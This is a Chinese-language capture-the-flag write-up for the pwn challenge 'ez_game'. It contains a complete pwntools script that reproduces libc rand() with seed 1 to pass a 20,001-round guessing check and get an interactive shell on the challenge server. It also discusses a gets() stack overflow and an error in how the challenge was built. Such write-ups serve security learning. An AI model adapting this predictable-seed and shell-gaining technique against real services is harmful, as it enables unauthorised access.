ez_game
检查保护
查看程序,在 getshell()
函数中发现 /bin/sh
字符串
查看主函数,表面上看起来是一个伪随机的check,但是我们还发现在get处存在栈溢出,我们先尝试直接利用伪随机。因为已经赋值seed=1 所以我们可以直接预测出每一次的随机数。
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from LibcSearcher import * # type: ignore
from MyPwn import*
from ctypes import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='pwn.challenge.ctf.show'
port=28148
file_name='ez_game'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_libc)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
libc_rand=CDLL(local_libc)
io.sendlineafter(b"username:",b'0')
libc_rand.srand(1) # libc_rand.srand(0)
for i in range(20001):
v7 = libc_rand.rand() % 7 + 1
print(f"Round{i}:{v7}")
io.sendlineafter(b'guess:',str(v7).encode())
if __name__=='__main__':
io=Start()
Exp()
io.interactive()
但是这里又发现了一个问题,当我们设置seed为0和1时,都可以通过循环的check。也就是说,当seed=1和seed=0时,生成的随机数都是一样的。为了证实这个猜想,先是询问了一些师傅,在查看rand部分的源码后发现其处理seed=0时的逻辑如下:
据t1d师傅说这样处理是为了避免生成的数组全为零
但是按照官方wp所说,需要使用gets函数栈溢出修改seed的值,对此保持存疑态度(可恶啊,网络问题远程根本跑不完!)
今天去询问了一下出题的师傅,这道题确实是弄错了多加了一个seed的赋值。出题师傅是参考攻防世界的guess_num这道题,但是攻防世界的这道题的seed只是定义了但是未赋值,是未知的,所以需要用gets来修改。总的来说,这道题是多提供了一个gets的栈溢出,直接打伪随机完全是行得通的
这是Qjzhalx师傅的博客链接:https://www.qjzhalx.top/
Qjzhalx师傅人非常好,也非常厉害!感兴趣的可以去师傅的博客看看~